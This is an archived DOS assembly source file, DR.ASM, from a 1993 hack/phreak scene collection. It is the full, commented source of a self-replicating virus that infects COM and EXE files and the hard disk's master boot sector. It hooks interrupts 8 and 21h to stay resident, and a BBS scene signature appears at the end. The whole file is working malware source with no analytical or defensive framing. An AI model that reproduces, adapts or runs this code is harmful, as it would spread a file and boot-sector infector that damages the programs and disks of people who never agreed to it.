home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / DR.ASM < prev    next >
Assembly Source File  |  1993-12-24  |  20KB  |  573 lines

  1. cseg segment public 'code'
  2.     assume  cs:cseg,ds:cseg,es:cseg
  3.  
  4. ;------------------------------------------------------------------------------
  5. ; This virus is an com, exe and partitiontable infector. It will become resident
  6. ; after the first reboot. The virus is stored above TOM but below 640k.
  7. ; When the virus is resident the virus will infect every com and exe-file that
  8. ; is created or opend for read and write. The virus doesn't use any stealth
  9. ; techniques. The virus doesn't do anything besides replicate. I don't have
  10. ; a good name for it, so I named it 'Digital Research Virus'.
  11. ;------------------------------------------------------------------------------
  12.  
  13. SectorCount     equ     (CodeEnd-$+1ffh) shr 9  ; Codesize in sectors
  14. MemoryCount     equ     (DataEnd-$+3ffh) shr 10 ; Memory needed in kb
  15.  
  16. ;------------------------------------------------------------------------------
  17. ; The first part of a com-file is overwritten by the following code
  18. ;------------------------------------------------------------------------------
  19.  
  20. ComCS           equ     this word+4
  21.  
  22. ComEntry:
  23.     mov     dx,cs
  24.     add     dx,100h
  25.     push    dx
  26.     mov     dx,offset MainCOM
  27.     push    dx
  28.     retf
  29.     dw      0DEADh
  30.  
  31. EntrySize       equ     ($-ComEntry)
  32. SavedCode       equ     this word               ; orginal com-entry code
  33.  
  34. OldCSIP         equ     this dword              ; orginal ip,cs,ss and sp
  35. OldIP           dw      0
  36. OldCS           dw      -10h
  37. OldSS           dw      0
  38. OldSP           dw      400h
  39.         db      EntrySize-8 dup(0)
  40.  
  41. ;------------------------------------------------------------------------------
  42. ; The first part of the bootsector is overwritten by the folowing code
  43. ;------------------------------------------------------------------------------
  44.  
  45. BootSector:
  46.     cli                                     ; disable interrupts
  47.     xor     bx,bx                           ; set ds and ss:sp
  48.     mov     ds,bx
  49.     mov     ss,bx
  50.     mov     sp,7c00h
  51.     sti                                     ; enable interrupts
  52.     mov     ax,ds:[413h]                    ; get memorysize
  53.     sub     ax,MemoryCount                  ; adjust memory size
  54.     mov     ds:[413h],ax                    ; store new memorysize
  55.     mov     cl,6                            ; calculate segment address
  56.     shl     ax,cl
  57.     mov     es,ax
  58.     push    ax                              ; store segment and offset
  59.     mov     ax,offset StartUp               ; of startup on stack
  60.     push    ax
  61.     mov     ax,200h+SectorCount             ; read the virus from disk
  62.     mov     cx,2
  63.     mov     dx,80h
  64.     int     13h
  65.     retf                                    ; jump to startup procedure
  66.  
  67. BootSize        equ     ($-BootSector)
  68.  
  69. ;------------------------------------------------------------------------------
  70. ; startup procedure
  71. ;------------------------------------------------------------------------------
  72.  
  73. StartUp:
  74.     cli                                     ; disable interrupts
  75.     mov     ax,offset Interrupt8            ; save old interrupt 8 vector
  76.     xchg    ax,ds:[20h]                     ; and store new vector
  77.     mov     word ptr es:SavedInt8[0],ax
  78.     mov     ax,cs
  79.     xchg    ax,ds:[22h]
  80.     mov     word ptr es:SavedInt8[2],ax
  81.     mov     cs:Count,182
  82.     sti                                     ; enable interrupts
  83.     push    ds                              ; es=ds
  84.     pop     es
  85.     mov     bx,7c00h
  86.     push    es                              ; store segment and offset of
  87.     push    bx                              ; bootsector on stack
  88.     mov     ax,201h                         ; read bootsector from disk
  89.     mov     cx,1
  90.     mov     dx,80h
  91.     int     13h
  92.     push    cs                              ; ds=cs
  93.     pop     ds
  94.     mov     si,offset OrginalBoot           ; restore first part of
  95.     mov     di,7c00h                        ; bootsector
  96.     mov     cx,BootSize
  97.     rep     movsb
  98.     push    es                              ; ds=es
  99.     pop     ds
  100.     retf                                    ; jump to bootsector
  101.  
  102. ;------------------------------------------------------------------------------
  103. ; This interrupt will do nothing until it's called for the 182nd time, at that
  104. ; moment 10 seconds have past, and the virus will adjust interrupt vector 13h
  105. ; and 21h
  106. ;------------------------------------------------------------------------------
  107.  
  108. Count   dw      182
  109.  
  110. Interrupt8:
  111.     cmp     cs:Count,0                      ; do nothing if interrupts
  112.     jz      Old8                            ; are adjusted
  113.     dec     cs:Count                        ; countdown (10 seconds)
  114.     jnz     Old8
  115.     push    ax                              ; save registers
  116.     push    ds
  117.     xor     ax,ax                           ; ds=0 (Interrupt vectors)
  118.     mov     ds,ax
  119.     mov     ax,offset Interrupt21           ; save old interrupt vector 21
  120.     xchg    ax,ds:[84h]                     ; and store new vector
  121.     mov     word ptr cs:SavedInt21[0],ax
  122.     mov     ax,cs
  123.     xchg    ax,ds:[86h]
  124.     mov     word ptr cs:SavedInt21[2],ax
  125.     mov     cs:Handle,0
  126.     pop     ds                              ; restore registers
  127.     pop     ax
  128. Old8:   jmp     cs:SavedInt8
  129.  
  130. ;------------------------------------------------------------------------------
  131. ; This interrupt is installed after 10 seconds, it will then infect every exe
  132. ; file that is created or opened to write. It also contains an installation
  133. ; check
  134. ;------------------------------------------------------------------------------
  135.  
  136. Interrupt21:
  137.     cmp     ah,30h
  138.     je      Version                         ; dos version
  139.     cmp     ah,3ch
  140.     je      Open                            ; create file
  141.     cmp     ax,3d02h
  142.     je      Open                            ; open for write
  143.     cmp     ah,3eh
  144.     je      Close                           ; close file
  145. Old21:  jmp     cs:SavedInt21                   ; do orginal interrupt
  146.  
  147. Open:   cmp     cs:Handle,0                     ; other exe-file opnened ?
  148.     jne     Old21                           ; yes, can't do anything
  149.     call    CheckExe                        ; check for .exe extension
  150.     jnc     ExeFile
  151.     call    CheckCom
  152.     jnc     ComFile
  153.     jmp     Old21
  154.  
  155. ComFile:pushf                                   ; execute orginal interrupt
  156.     call    cs:SavedInt21
  157.     jc      Fail                            ; error opening file
  158.     mov     cs:Handle,ax                    ; store handle for infection
  159.     mov     cs:Infect,offset InfectCOM      ; store infect procedure
  160.     retf    2
  161.  
  162. ExeFile:pushf                                   ; execute orginal interrupt
  163.     call    cs:SavedInt21
  164.     jc      Fail                            ; error opening file
  165.     mov     cs:Handle,ax                    ; store handle for infection
  166.     mov     cs:Infect,offset InfectEXE      ; store infect procedure
  167. Fail:   retf    2
  168.  
  169. Close:  or      bx,bx                           ; handle 0 ?
  170.     je      Old21                           ; do orginal interrupt
  171.     cmp     bx,cs:Handle                    ; handle of exe-file ?
  172.     jne     Old21                           ; no, do orginal interrupt
  173.     call    cs:Infect                       ; infect file
  174.     mov     cs:Handle,0
  175.     jmp     Old21                           ; do orginal interrupt
  176.  
  177. Version:cmp     dx,0DEADh                       ; installation check
  178.     jne     Old21                           ; no, do orginal interrupt
  179.     mov     ax,dx                           ; ax=dx
  180.     iret                                    ; return to caller
  181.  
  182. Extension       db      'EXE','COM'
  183.  
  184. CheckEXE:
  185.     push    bx
  186.     push    es
  187.     push    cs
  188.     pop     es
  189.     mov     bx,offset Extension[0]
  190.     call    Check
  191.     pop     es
  192.     pop     bx
  193.     ret
  194.  
  195. CheckCOM:
  196.     push    bx
  197.     push    es
  198.     push    cs
  199.     pop     es
  200.     mov     bx,offset Extension[3]
  201.     call    Check
  202.     pop     es
  203.     pop     bx
  204.     ret
  205.  
  206. Check:  push    ax                              ; check if extension is .exe
  207.     push    cx                              ; save registers
  208.     push    si
  209.     push    di
  210.     mov     al,0                            ; al=0
  211.     mov     cx,100h                         ; max length is 100h characters
  212.     mov     di,dx                           ; di=begin of filename
  213. Nxt:    jcxz    Other                           ; length > 100h characters,
  214.                         ; must be an other file
  215.     inc     di
  216.     dec     cx
  217.     cmp     byte ptr ds:[di-1],0            ; end of filename ?
  218.     je      Last
  219.     cmp     byte ptr ds:[di-1],'.'          ; point ?
  220.     jne     Nxt                             ; no, next character
  221.     mov     si,di                           ; si=di, si=last point
  222.     mov     al,1                            ; al=1,  al=1 if point found
  223.     jmp     Nxt                             ; next character
  224. Last:   or      al,al                           ; point found ?
  225.     je      Other                           ; no, it's not an exe-file
  226.     mov     di,bx
  227.     cld
  228.     lodsw                                   ; get 2 bytes after '.'
  229.     and     ax,0dfdfh                       ; uppercase
  230.     scasw                                   ; compare
  231.     jne     Other
  232.     lodsb                                   ; get 1 byte
  233.     and     al,0dfh                         ; uppercase
  234.     scasb                                   ; compare
  235.     jne     Other                           ; no, not an exe-file
  236.     clc                                     ; clear carry, exe-file
  237.     jmp     Done                            ; return to caller
  238. Other:  stc                                     ; set carry, not an exe-file
  239. Done:   pop     di                              ; restore registers
  240.     pop     si
  241.     pop     cx
  242.     pop     ax
  243.     ret                                     ; return to caller
  244.  
  245. ;------------------------------------------------------------------------------
  246. ; this procedure infects an exe-file that is opened and the handle is in bx
  247. ;------------------------------------------------------------------------------
  248.  
  249. InfectEXE:
  250.     push    ax                              ; save registers
  251.     push    bx
  252.     push    cx
  253.     push    dx
  254.     push    ds
  255.     push    es
  256.     push    cs                              ; ds=es=cs
  257.     pop     ds
  258.     push    cs
  259.     pop     es
  260.     mov     ax,4200h                        ; goto top of file
  261.     xor     cx,cx
  262.     xor     dx,dx
  263.     call    DOS
  264.     mov     ah,3fh                          ; read exe-header
  265.     mov     cx,1ch
  266.     mov     dx,offset ExeHeader
  267.     call    ReadWrite
  268.     cmp     ChkSum,0DEADh
  269.     call    ReturnEqual
  270.     mov     ChkSum,0DEADh
  271.     mov     ax,ExeIP                        ; save orginal ip,cs,ss and sp
  272.     mov     OldIP,ax
  273.     mov     ax,ExeCS
  274.     mov     OldCS,ax
  275.     mov     ax,ExeSS
  276.     mov     OldSS,ax
  277.     mov     ax,ExeSP
  278.     mov     OldSP,ax
  279.     mov     ax,PageCount                    ; calculate new cs and ss
  280.     mov     dx,PartPage
  281.     or      dx,dx
  282.     jz      Zero1
  283.     dec     ax
  284. Zero1:  add     dx,0fh
  285.     mov     cl,4
  286.     shr     dx,cl
  287.     inc     cl
  288.     shl     ax,cl
  289.     add     ax,dx
  290.     mov     dx,ax
  291.     sub     dx,HeaderSize   
  292.     mov     ExeCS,dx                        ; store new cs,ip,ss and sp
  293.     mov     ExeIP,offset MainEXE
  294.     mov     ExeSS,dx
  295.     mov     ExeSP,offset CodeSize+800h
  296.     mov     dx,10h                          ; calculate offset in file
  297.     mul     dx
  298.     push    ax                              ; save offset
  299.     push    dx
  300.     add     ax,offset CodeSize              ; calculate new image size
  301.     adc     dx,0
  302.     mov     cx,200h
  303.     div     cx
  304.     or      dx,dx
  305.     je      Zero2
  306.     inc     ax
  307. Zero2:  mov     PageCount,ax
  308.     mov     PartPage,dx
  309.     cmp     MinMem,80h
  310.     jae     MinOk
  311.     mov     MinMem,80h
  312. MinOk:  cmp     MaxMem,80h
  313.     jae     MaxOk
  314.     mov     MaxMem,80h
  315. MaxOk:  pop     cx                              ; restore offset
  316.     pop     dx
  317.     mov     ax,4200h                        ; goto found offset
  318.     call    DOS
  319.     mov     ah,40h                          ; write virus
  320.     mov     cx,offset CodeSize
  321.     xor     dx,dx
  322.     call    ReadWrite
  323.     mov     ax,4200h                        ; goto top of file
  324.     xor     cx,cx
  325.     xor     dx,dx
  326.     call    DOS
  327.     mov     ah,40h                          ; write new exe-header
  328.     mov     cx,1ch
  329.     mov     dx,offset ExeHeader
  330.     call    DOS
  331.     jmp     Return
  332. Error:  add     sp,2                            ; get return address of stack
  333. Return: pop     es                              ; restore registers
  334.     pop     ds
  335.     pop     dx
  336.     pop     cx
  337.     pop     bx
  338.     pop     ax
  339.     ret                                     ; return to caller
  340.  
  341. ;------------------------------------------------------------------------------
  342. ; jumps to error when z-flag is 1
  343. ;------------------------------------------------------------------------------
  344.  
  345. ReturnEqual:
  346.     je      Error
  347.     ret
  348.  
  349. ;------------------------------------------------------------------------------
  350. ; this procedure executes the orginal interrupt 21h, if ax is not equal to cx
  351. ; an error occured. This procedure is called from InfectEXE and InfectCOM
  352. ;------------------------------------------------------------------------------
  353.  
  354. ReadWrite:
  355.     pushf
  356.     cli
  357.     call    cs:SavedInt21
  358.     jc      Error
  359.     cmp     ax,cx
  360.     jne     Error
  361.     ret
  362.  
  363. ;------------------------------------------------------------------------------
  364. ; this procedure executes the orginal interrupt 21h, and is called from
  365. ; InfectEXE and InfectCOM
  366. ;------------------------------------------------------------------------------
  367.  
  368. DOS:    pushf                                   ; call orginal interrupt 21h
  369.     cli
  370.     call    cs:SavedInt21
  371.     jc      Error                           ; error? yes, jump to error
  372.     ret                                     ; return to caller
  373.  
  374. ;------------------------------------------------------------------------------
  375. ; this procedure infects an exe-file that is opened and the handle is in bx
  376. ;------------------------------------------------------------------------------
  377.  
  378. InfectCOM:
  379.     push    ax                              ; save registers
  380.     push    bx
  381.     push    cx
  382.     push    dx
  383.     push    ds
  384.     push    es
  385.     push    cs                              ; ds=es=cs
  386.     pop     ds
  387.     push    cs
  388.     pop     es
  389.     mov     ax,4200h                        ; goto top of file
  390.     xor     cx,cx
  391.     xor     dx,dx
  392.     call    DOS
  393.     mov     ah,3fh                          ; read first 3 bytes
  394.     mov     cx,EntrySize
  395.     mov     dx,offset SavedCode
  396.     call    ReadWrite
  397.     mov     si,offset SavedCode
  398.     mov     di,offset ComEntry
  399.     mov     cx,EntrySize
  400.     rep     cmpsb
  401.     je      Return
  402.     mov     ax,4202h                        ; goto end of file
  403.     xor     cx,cx
  404.     xor     dx,dx
  405.     call    DOS
  406.     or      dx,dx
  407.     ja      Error
  408.     cmp     ax,0f000h
  409.     ja      Error
  410.     add     ax,0fh
  411.     mov     cl,4                            ; prepare the com-entry
  412.     shr     ax,cl
  413.     add     ax,10h
  414.     mov     ComCS,ax
  415.     sub     ax,10h
  416.     shl     ax,cl                           ; goto end of file
  417.     mov     dx,ax
  418.     mov     ax,4200h
  419.     xor     cx,cx
  420.     call    DOS
  421.     mov     ah,40h                          ; write virus at the and of the
  422.     mov     cx,offset CodeSize              ; com-file
  423.     xor     dx,dx
  424.     call    ReadWrite
  425.     mov     ax,4200h
  426.     xor     cx,cx
  427.     xor     dx,dx
  428.     call    DOS
  429.     mov     ah,40h
  430.     mov     cx,EntrySize
  431.     mov     dx,offset ComEntry
  432.     call    DOS
  433.     jmp     Return
  434.  
  435. ;------------------------------------------------------------------------------
  436. ; This procedure infects the master bootsector of the first harddisk. There are
  437. ; no registers saved.
  438. ;------------------------------------------------------------------------------
  439.  
  440. InfectBoot:
  441.     mov     ah,30h                          ; installation check
  442.     mov     dx,0DEADh
  443.     int     21h
  444.     cmp     ax,dx
  445.     je      Infected
  446.     push    cs                              ; ds=es=cs
  447.     pop     ds
  448.     push    cs
  449.     pop     es
  450.     mov     ax,201h                         ; read bootsector
  451.     mov     bx,offset OrginalBoot
  452.     mov     cx,1
  453.     mov     dx,80h
  454.     int     13h
  455.     jc      Infected
  456.     mov     si,offset OrginalBoot           ; compare bootsector with viral
  457.     mov     di,offset BootSector            ; bootsector
  458.     mov     cx,BootSize
  459.     repe    cmpsb
  460.     je      Infected
  461.     mov     ax,300h+SectorCount             ; write virus to disk
  462.     xor     bx,bx
  463.     mov     cx,2
  464.     mov     dx,80h
  465.     int     13h
  466.     jc      Infected
  467.     mov     si,offset BootSector            ; adjust bootsector
  468.     mov     di,offset OrginalBoot
  469.     mov     cx,BootSize
  470.     rep     movsb
  471.     mov     ax,301h                         ; write bootsector to disk
  472.     mov     bx,offset OrginalBoot
  473.     mov     cx,1
  474.     mov     dx,80h
  475.     int     13h
  476. Infected:
  477.     ret                                     ; return to caller
  478.  
  479.  
  480. ;------------------------------------------------------------------------------
  481. ; this is the main procedure, when starting up from an com-file, it will
  482. ; check if the first harddisk is infected, if not it will infect it.
  483. ;------------------------------------------------------------------------------
  484.  
  485. MainCOM:push    ds
  486.     mov     dx,100h
  487.     push    dx
  488.     push    ax
  489.     push    ds
  490.     push    es
  491.     push    cs
  492.     pop     ds
  493.     mov     si,offset SavedCode
  494.     mov     di,dx
  495.     mov     cx,EntrySize
  496.     rep     movsb
  497.     call    InfectBoot
  498.     pop     es
  499.     pop     ds
  500.     pop     ax
  501.     retf
  502.  
  503. ;------------------------------------------------------------------------------
  504. ; this is the main procedure, when starting up from an exe-file, it will
  505. ; check if the first harddisk is infected, if not it will infect it.
  506. ;------------------------------------------------------------------------------
  507.  
  508.  
  509. MainEXE:push    ax                              ; save registers
  510.     push    ds
  511.     push    es
  512.     mov     ax,ds                           ; adjust cs and ss
  513.     add     ax,10h
  514.     add     cs:OldCS,ax
  515.     add     cs:OldSS,ax
  516.     call    InfectBoot                      ; infect the bootsector
  517.     pop     es                              ; restore registers
  518.     pop     ds
  519.     pop     ax
  520.     mov     ss,cs:OldSS                     ; set ss:sp
  521.     mov     sp,cs:OldSP
  522.     jmp     cs:OldCSIP                      ; jump to orginal code
  523.  
  524. CodeSize        equ     $
  525.  
  526. ;------------------------------------------------------------------------------
  527. ; the first part of the orginal bootsector is stored here
  528. ;------------------------------------------------------------------------------
  529.  
  530. OrginalBoot     db      BootSize dup(0)
  531. CodeEnd         equ     $
  532.  
  533. ;------------------------------------------------------------------------------
  534. ; the variables used by the virus when its resident are stored here
  535. ;------------------------------------------------------------------------------
  536.  
  537. SavedInt8       dd      0                       ; orginal interrupt 8
  538. SavedInt21      dd      0                       ; orginal interrupt 21
  539. Handle          dw      0                       ; handle of first exe-file
  540.                         ; opened
  541. Infect          dw      0                       ; offset infect procedure
  542.  
  543. Buffer          equ     this byte
  544. ExeHeader       dw      0dh dup(0)              ; exe-header is stored here
  545.  
  546. Signature       equ     ExeHeader[0]            ; exe-signature 'MZ'
  547. PartPage        equ     ExeHeader[2]            ; size of partitial page
  548. PageCount       equ     ExeHeader[4]            ; number of pages (200h bytes)
  549. HeaderSize      equ     ExeHeader[8]            ; size of the exe-header
  550. MinMem          equ     ExeHeader[0ah]          ; minimum memory needed
  551. MaxMem          equ     ExeHeader[0ch]          ; maximum memory needed
  552. ExeSS           equ     ExeHeader[0eh]          ; SS
  553. ExeSP           equ     ExeHeader[10h]          ; SP
  554. ChkSum          equ     ExeHeader[12h]          ; checksum, DEAD if infected
  555. ExeIP           equ     ExeHeader[14h]          ; IP
  556. ExeCS           equ     ExeHeader[16h]          ; CS
  557.  
  558. DataEnd         equ     $
  559.  
  560. cseg ends
  561.  
  562. sseg segment stack 'stack'
  563.     db      400h dup(?)
  564. sseg ends
  565.  
  566. end MainEXE
  567.  
  568.  
  569. ;  ─────────────────────────────────────────────────────────────────────────
  570. ;  ───────────────> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <───────────────
  571. ;  ───────────> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <───────────
  572. ;  ─────────────────────────────────────────────────────────────────────────
  573.